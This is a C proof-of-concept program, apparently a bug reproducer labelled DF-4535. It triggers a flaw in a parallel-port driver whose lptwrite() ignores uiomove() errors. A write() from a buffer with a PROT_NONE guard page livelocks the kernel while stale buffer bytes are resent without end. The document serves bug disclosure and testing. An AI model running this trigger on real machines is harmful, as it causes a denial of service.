/*
 * DF-4535 -- lpt.c lptwrite() ignores the uiomove() return value.
 *
 * Phase 1: a normal 4096-byte write of 'A' fills the driver's 1024-byte
 *          kernel buffer sc_inbuf with 'A'.
 * Phase 2: write() from a 2-page mapping whose second page is PROT_NONE.
 *          uiomove() copies the first 4096 bytes chunk-by-chunk, then
 *          faults forever on the guard page.  lptwrite() (lpt.c:761-764)
 *          ignores the EFAULT, sets sc_xfercnt = 1024 anyway, and the
 *          driver transmits the *stale* contents of sc_inbuf -- i.e. the
 *          'A' bytes from the previous write -- over and over, forever,
 *          while the write() syscall never returns (kernel livelock).
 *
 * Expected evidence (on the host-side capture file behind QEMU's parallel
 * port):  'A'x4096  'B'x4096  then 'A'x1024 repeated without bound while
 * the process sits in the write() syscall; the byte stream keeps growing
 * after all valid user bytes were exhausted.
 *
 * DF-4535 trigger.  Run as root on the guest: ./lpt_uioleak <seconds>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <sys/mman.h>

int
main(int argc, char **argv)
{
	int fd, i;
	char a[4096];
	char *p;
	time_t t0, t1;
	int dwell = (argc > 1) ? atoi(argv[1]) : 10;

	fd = open("/dev/lpt0", O_WRONLY);
	if (fd < 0) {
		perror("open /dev/lpt0");
		return 2;
	}
	printf("[*] opened /dev/lpt0 (irq mode)\n");

	/* phase 1: prime sc_inbuf with 'A' */
	memset(a, 'A', sizeof(a));
	if (write(fd, a, sizeof(a)) != sizeof(a)) {
		perror("phase1 write");
		return 3;
	}
	printf("[*] phase1: wrote 4096 'A' bytes (kernel buffer now 'A')\n");

	/* phase 2: 8192-byte write whose tail is unmapped */
	p = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
		 MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p == MAP_FAILED) {
		perror("mmap");
		return 4;
	}
	if (mprotect(p + 4096, 4096, PROT_NONE) != 0) {
		perror("mprotect");
		return 5;
	}
	memset(p, 'B', 4096);
	printf("[*] phase2: write(fd, 8192) with PROT_NONE guard page at 4096\n");
	printf("[*] expecting syscall to NEVER return; will be killed after %ds\n",
	    dwell);
	fflush(stdout);

	t0 = time(NULL);
	ssize_t r = write(fd, p, 8192);	/* never returns */
	t1 = time(NULL);
	printf("[!] UNEXPECTED: write returned %zd errno=%d after %llds\n",
	    r, errno, (long long)(t1 - t0));
	return 6;
}
